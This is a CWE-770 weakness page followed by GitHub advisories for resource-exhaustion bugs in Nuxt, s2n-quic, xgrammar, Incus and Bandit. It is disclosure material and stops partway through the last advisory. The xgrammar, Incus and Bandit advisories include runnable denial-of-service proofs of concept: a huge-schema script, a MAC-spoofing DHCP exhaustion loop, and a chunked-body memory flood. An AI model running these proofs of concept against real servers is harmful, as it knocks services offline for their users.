CWE-770
Weakness AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
Dimensions
- Behavior-Type: Allocation
- Behavior-Property: Without Limits or Throttling
- Resource-Type: Resources
Mapping guidance
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Detection methods
Manual Static Analysis
Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.
Fuzzing
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause.
When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.
Effectiveness: Opportunistic
Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame. Manual analysis is likely required to interpret the results.
Automated Static Analysis
Specialized configuration or tuning may be required to train automated tools to recognize this weakness.
Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.
Notes
Relationship
This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.
Content history
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
updated Related_Attack_Patterns
updated Relationships
updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Observed_Examples, References, Time_of_Introduction
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
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updated Demonstrative_Examples, Detection_Factors, Relationships
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Related_Attack_Patterns
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updated Relationships
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updated Related_Attack_Patterns
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated References
updated Demonstrative_Examples, Description, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
updated Applicable_Platforms, Description, Maintenance_Notes, Potential_Mitigations, Relationship_Notes, Relationships
updated Relationships
updated Observed_Examples
updated Observed_Examples, References
updated Description, Detection_Factors
updated References, Relationships
updated Mapping_Notes
updated Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Observed_Examples, Potential_Mitigations, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Demonstrative_Examples, Dimensions
4414 vulnerabilities reference this CWE, most recent first.
GHSA-9PGF-384G-P7MV
Vulnerability from github – Published: 2026-08-05 21:43 – Updated: 2026-08-05 21:43Impact
The internal island renderer endpoint (/__nuxt_island/...) decodes and hashes attacker-controlled request input before it validates the URL-resident hash. An unauthenticated POST /__nuxt_island/<name>_<anything>.json with a large JSON body (for example ~4.6 MB / 150k keys) is fully read, destr-parsed, and run through ohash before the request is rejected with a 400. Because Nitro runs on a single event loop, this both wastes CPU on the doomed request and delays every concurrent request. A low request rate is enough to degrade or stall the server. No valid hash and no authentication are required.
Patches
Fixed in nuxt@4.5.1 and nuxt@3.21.10. The island handler now enforces a raw body-size cap (413) and a JSON nesting-depth cap (400) before parsing or hashing, so oversized or deeply nested input is rejected cheaply.
Workarounds
Put a small request-body limit in front of /__nuxt_island/ at your reverse proxy / edge (islands legitimately send only a compact props payload), or disable server components if unused.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.21.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71321"
],
"database_specific": {
"cwe_ids": [
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T21:43:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nThe internal island renderer endpoint (`/__nuxt_island/...`) decodes and hashes attacker-controlled request input before it validates the URL-resident hash. An unauthenticated `POST /__nuxt_island/\u003cname\u003e_\u003canything\u003e.json` with a large JSON body (for example ~4.6 MB / 150k keys) is fully read, `destr`-parsed, and run through `ohash` before the request is rejected with a 400. Because Nitro runs on a single event loop, this both wastes CPU on the doomed request and delays every concurrent request. A low request rate is enough to degrade or stall the server. No valid hash and no authentication are required.\n\n### Patches\n\nFixed in `nuxt@4.5.1` and `nuxt@3.21.10`. The island handler now enforces a raw body-size cap (`413`) and a JSON nesting-depth cap (`400`) before parsing or hashing, so oversized or deeply nested input is rejected cheaply.\n\n### Workarounds\n\nPut a small request-body limit in front of `/__nuxt_island/` at your reverse proxy / edge (islands legitimately send only a compact props payload), or disable server components if unused.",
"id": "GHSA-9pgf-384g-p7mv",
"modified": "2026-08-05T21:43:03Z",
"published": "2026-08-05T21:43:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-9pgf-384g-p7mv"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/4e35ae9babd94be53246e31200232d48438bb34e"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/668cdfdfda41849ed11c1ee5e2067a11fc103b22"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuxt/nuxt"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/releases/tag/v3.21.10"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/releases/tag/v4.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nuxt: Unauthenticated CPU exhaustion parsing and hashing the Nuxt island endpoint body before hash validation"
}
GHSA-9Q54-F358-3FQF
Vulnerability from github – Published: 2026-08-14 21:44 – Updated: 2026-08-14 21:44s2n-quic is a Rust implementation of the QUIC protocol. An unauthenticated user can attempt to exhaust server memory on an s2n-quic endpoint by sending crafted CRYPTO frames with high offsets. The buffer used for processing CRYPTO frames does not enforce a maximum size. In the worst case, a single 1200-byte packet can cause approximately 9.4 MB of allocation. By repeatedly sending such packets, the resulting memory pressure could cause denial of service. No valid handshake is required.
Impacted versions: <= v1.81.0
Patches
This issue has been addressed in s2n-quic version v1.82.0. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.
Workarounds
There is no workaround that fully mitigates this issue. Upgrading to the patched version is the recommended remediation.
References
If there are any questions or comments about this advisory, contact AWS Security via the vulnerability reporting page or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.81.0"
},
"package": {
"ecosystem": "crates.io",
"name": "s2n-quic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.82.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-10740"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-14T21:44:19Z",
"nvd_published_at": "2026-06-10T19:16:32Z",
"severity": "MODERATE"
},
"details": "s2n-quic is a Rust implementation of the QUIC protocol. An unauthenticated user can attempt to exhaust server memory on an s2n-quic endpoint by sending crafted CRYPTO frames with high offsets. The buffer used for processing CRYPTO frames does not enforce a maximum size. In the worst case, a single 1200-byte packet can cause approximately 9.4 MB of allocation. By repeatedly sending such packets, the resulting memory pressure could cause denial of service. No valid handshake is required.\n\nImpacted versions: \u003c= v1.81.0\n\n### Patches\nThis issue has been addressed in s2n-quic version v1.82.0. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.\u00a0\n\n### Workarounds\nThere is no workaround that fully mitigates this issue. Upgrading to the patched version is the recommended remediation.\n\n### References\nIf there are any questions or comments about this advisory, contact AWS Security via the [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.",
"id": "GHSA-9q54-f358-3fqf",
"modified": "2026-08-14T21:44:19Z",
"published": "2026-08-14T21:44:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aws/s2n-quic/security/advisories/GHSA-9q54-f358-3fqf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10740"
},
{
"type": "WEB",
"url": "https://aws.amazon.com/security/security-bulletins/2026-042-aws"
},
{
"type": "PACKAGE",
"url": "https://github.com/aws/s2n-quic"
},
{
"type": "WEB",
"url": "https://github.com/aws/s2n-quic/releases/tag/v1.82.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "s2n-quic has excessive memory allocation"
}
GHSA-9Q5R-WFVF-RR7F
Vulnerability from github – Published: 2025-09-05 21:10 – Updated: 2025-09-10 20:51Summary
Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.
Details
Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.
Patch
This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars.
Thanks to @Seven-Streams
PoC
import string
import random
def enum_schema(size=10000,str_len=10):
enum = {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}
schema = {
"definitions": {
"colorEnum": enum
},
"type": "object",
"properties": {
"color1": {
"$ref": "#/definitions/colorEnum"
},
"color2": {
"$ref": "#/definitions/colorEnum"
},
"color3": {
"$ref": "#/definitions/colorEnum"
},
"color4": {
"$ref": "#/definitions/colorEnum"
},
"color5": {
"$ref": "#/definitions/colorEnum"
},
"color6": {
"$ref": "#/definitions/colorEnum"
},
"color7": {
"$ref": "#/definitions/colorEnum"
},
"color8": {
"$ref": "#/definitions/colorEnum"
}
},
"required": [
"color1",
"color2"
]
}
return schema
schema_enum = enum_schema()
print(schema_enum)
print(test_schema(schema_enum, {}))
where:
def test_schema(schema, instance):
grammar = xgr.Grammar.from_json_schema(
json.dumps(schema),
strict_mode=True
)
return _is_grammar_accept_string(grammar, json.dumps(instance))
Impact
DOS
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "xgrammar"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.23"
},
{
"fixed": "0.1.24"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.23"
]
}
],
"aliases": [
"CVE-2025-58446"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-05T21:10:06Z",
"nvd_published_at": "2025-09-06T19:15:38Z",
"severity": "MODERATE"
},
"details": "### Summary\nProvided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.\n\n### Details\n\nFull reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.\n\n### Patch\n\nThis problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (\u003e100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars. \n\nThanks to @Seven-Streams \n\n### PoC\n```\nimport string\nimport random\n\ndef enum_schema(size=10000,str_len=10):\n enum = {\"enum\": [\"\".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}\n schema = {\n \"definitions\": {\n \"colorEnum\": enum\n },\n \"type\": \"object\",\n \"properties\": {\n \"color1\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color2\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color3\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color4\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color5\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color6\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color7\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color8\": {\n \"$ref\": \"#/definitions/colorEnum\"\n }\n },\n \"required\": [\n \"color1\",\n \"color2\"\n ]\n }\n return schema\n\nschema_enum = enum_schema()\nprint(schema_enum)\nprint(test_schema(schema_enum, {}))\n```\n\nwhere:\n```\ndef test_schema(schema, instance):\n grammar = xgr.Grammar.from_json_schema(\n json.dumps(schema),\n strict_mode=True\n )\n return _is_grammar_accept_string(grammar, json.dumps(instance))\n```\n\n### Impact\nDOS",
"id": "GHSA-9q5r-wfvf-rr7f",
"modified": "2025-09-10T20:51:27Z",
"published": "2025-09-05T21:10:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-9q5r-wfvf-rr7f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58446"
},
{
"type": "WEB",
"url": "https://github.com/mlc-ai/xgrammar/commit/ced69c3ad2f8f61b516cc278a342e7c644383e27"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlc-ai/xgrammar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "xgrammar vulnerable to denial of service by huge enum grammar"
}
GHSA-9Q7C-QMHM-JV86
Vulnerability from github – Published: 2025-06-26 21:11 – Updated: 2026-03-30 13:54Summary
When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to DHCP pool exhaustion and opens the door for other attacks.
Details
In commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:
iifname "{{.hostName}}" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept
However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering" snippet:
iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
Therefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network.
Additionaly, the commit adds non-restricted access to the local dnsmasq DNS server:
{{ if .dnsIPv4 }}
{{ range .dnsIPv4 }}
iifname "{{$.hostName}}" ip daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}
{{ if .dnsIPv6 }}
{{ range .dnsIPv6 }}
iifname "{{$.hostName}}" ip6 daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip6 daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}
An attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.
PoC
With this terraform infrastructure:
resource "incus_network_acl" "acl_allow_out" {
name = "acl-allow-out"
egress = [
{
action = "allow"
destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
state = "enabled"
},
]
}
resource "incus_network_acl" "acl_allow_in" {
name = "acl-allow-in"
ingress = [
{
action = "allow"
state = "enabled"
},
]
}
resource "incus_network" "br0" {
name = "br0"
config = {
"ipv4.address" = "10.0.0.1/24"
"ipv4.nat" = "true"
}
}
resource "incus_instance" "machine1" {
name = "machine1"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
"cloud-init.vendor-data" = <<-EOF
#cloud-config
package_update: true
packages:
- dhclient
- tcpdump
runcmd:
- systemctl disable --now systemd.networkd.service
- systemctl disable --now systemd.networkd.socket
EOF
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
"security.ipv4_filtering" = true
"security.acls" = join(",",
[
incus_network_acl.acl_allow_out.name,
incus_network_acl.acl_allow_in.name,
])
}
}
}
resource "incus_instance" "machine2" {
name = "machine2"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
}
}
}
An attacker in a VM requests many IP addresses and exhaust the pool:
[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done
[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases |wc -l
254
[HOST]$ incus start machine2
At this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.
Impact
All versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.13.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-52889"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-26T21:11:09Z",
"nvd_published_at": "2025-06-25T17:15:39Z",
"severity": "LOW"
},
"details": "### Summary\n\nWhen using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks.\n\n### Details\n\nIn commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:\n\n\tiifname \"{{.hostName}}\" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept\n\tiifname \"{{.hostName}}\" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept\n\tiifname \"{{.hostName}}\" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept\n\nHowever, these rules accept packets that should be filtered and maybe dropped by later rules in the \"MAC filtering\" snippet:\n\n\tiifname \"{{.hostName}}\" ether type arp arp saddr ether != {{.hwAddr}} drop\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop\n\nTherefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge\u0027s network.\n\nAdditionaly, the commit adds non-restricted access to the local dnsmasq DNS server:\n\n\t{{ if .dnsIPv4 }}\n\t{{ range .dnsIPv4 }}\n\tiifname \"{{$.hostName}}\" ip daddr \"{{.}}\" tcp dport 53 accept\n\tiifname \"{{$.hostName}}\" ip daddr \"{{.}}\" udp dport 53 accept\n\t{{ end }}\n\t{{ end }}\n\n\t{{ if .dnsIPv6 }}\n\t{{ range .dnsIPv6 }}\n\tiifname \"{{$.hostName}}\" ip6 daddr \"{{.}}\" tcp dport 53 accept\n\tiifname \"{{$.hostName}}\" ip6 daddr \"{{.}}\" udp dport 53 accept\n\t{{ end }}\n\t{{ end }}\n\nAn attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.\n\n### PoC\n\nWith this terraform infrastructure:\n\n```\nresource \"incus_network_acl\" \"acl_allow_out\" {\n name = \"acl-allow-out\"\n egress = [\n {\n action = \"allow\"\n destination = \"0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254\"\n state = \"enabled\"\n },\n ]\n}\nresource \"incus_network_acl\" \"acl_allow_in\" {\n name = \"acl-allow-in\"\n ingress = [\n {\n action = \"allow\"\n state = \"enabled\"\n },\n ]\n}\n\nresource \"incus_network\" \"br0\" {\n name = \"br0\"\n config = {\n \"ipv4.address\" = \"10.0.0.1/24\"\n \"ipv4.nat\" = \"true\"\n }\n}\n\nresource \"incus_instance\" \"machine1\" {\n name = \"machine1\"\n image = \"images:archlinux/cloud\"\n type = \"virtual-machine\"\n config = {\n \"limits.memory\" = \"2GiB\"\n \"security.secureboot\" = false\n \"boot.autostart\" = false\n \"cloud-init.vendor-data\" = \u003c\u003c-EOF\n #cloud-config\n package_update: true\n packages:\n - dhclient\n - tcpdump\n runcmd:\n - systemctl disable --now systemd.networkd.service\n - systemctl disable --now systemd.networkd.socket\n EOF\n }\n device {\n type = \"disk\"\n name = \"root\"\n properties = {\n pool = \"default\"\n path = \"/\"\n size = \"64GiB\"\n }\n }\n device {\n type = \"nic\"\n name = \"eth0\"\n properties = {\n network = incus_network.br0.name\n \"security.ipv4_filtering\" = true\n \"security.acls\" = join(\",\",\n [\n incus_network_acl.acl_allow_out.name,\n incus_network_acl.acl_allow_in.name,\n ])\n }\n }\n}\n\nresource \"incus_instance\" \"machine2\" {\n name = \"machine2\"\n image = \"images:archlinux/cloud\"\n type = \"virtual-machine\"\n config = {\n \"limits.memory\" = \"2GiB\"\n \"security.secureboot\" = false\n \"boot.autostart\" = false\n }\n device {\n type = \"disk\"\n name = \"root\"\n properties = {\n pool = \"default\"\n path = \"/\"\n size = \"64GiB\"\n }\n }\n device {\n type = \"nic\"\n name = \"eth0\"\n properties = {\n network = incus_network.br0.name\n }\n }\n}\n```\n\nAn attacker in a VM requests many IP addresses and exhaust the pool:\n\n```bash\n[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done\n\n[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases |wc -l\n254\n\n[HOST]$ incus start machine2\n```\n\nAt this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.\n\n### Impact\n\nAll versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.",
"id": "GHSA-9q7c-qmhm-jv86",
"modified": "2026-03-30T13:54:35Z",
"published": "2025-06-26T21:11:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-9q7c-qmhm-jv86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52889"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/commit/2516fb19ad8428454cb4edfe70c0a5f0dc1da214"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/commit/a7c33301738aede3c035063e973b1d885d9bac7c"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Incus Allocation of Resources Without Limits allows firewall rule bypass on managed bridge networks"
}
GHSA-9Q9Q-324X-93R2
Vulnerability from github – Published: 2026-05-19 19:23 – Updated: 2026-06-08 20:17Summary
Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.
Details
In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.
The content-length sibling at :210 does the right thing:
max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))
Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.
Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.
PoC
Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.
Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])
defmodule DemoApp do
use Plug.Builder
# The `length` option here is ignored by the attack
plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
plug :respond
def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)
# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])
:ok =
:gen_tcp.send(sock, """
POST / HTTP/1.1\r
Host: 127.0.0.1\r
Transfer-Encoding: chunked\r
Content-Type: application/json\r
Connection: close\r
\r
""")
Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")
IO.inspect(:gen_tcp.recv(sock, 0, 120_000))
Impact
Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "bandit"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39803"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T19:23:49Z",
"nvd_published_at": "2026-05-13T14:17:32Z",
"severity": "HIGH"
},
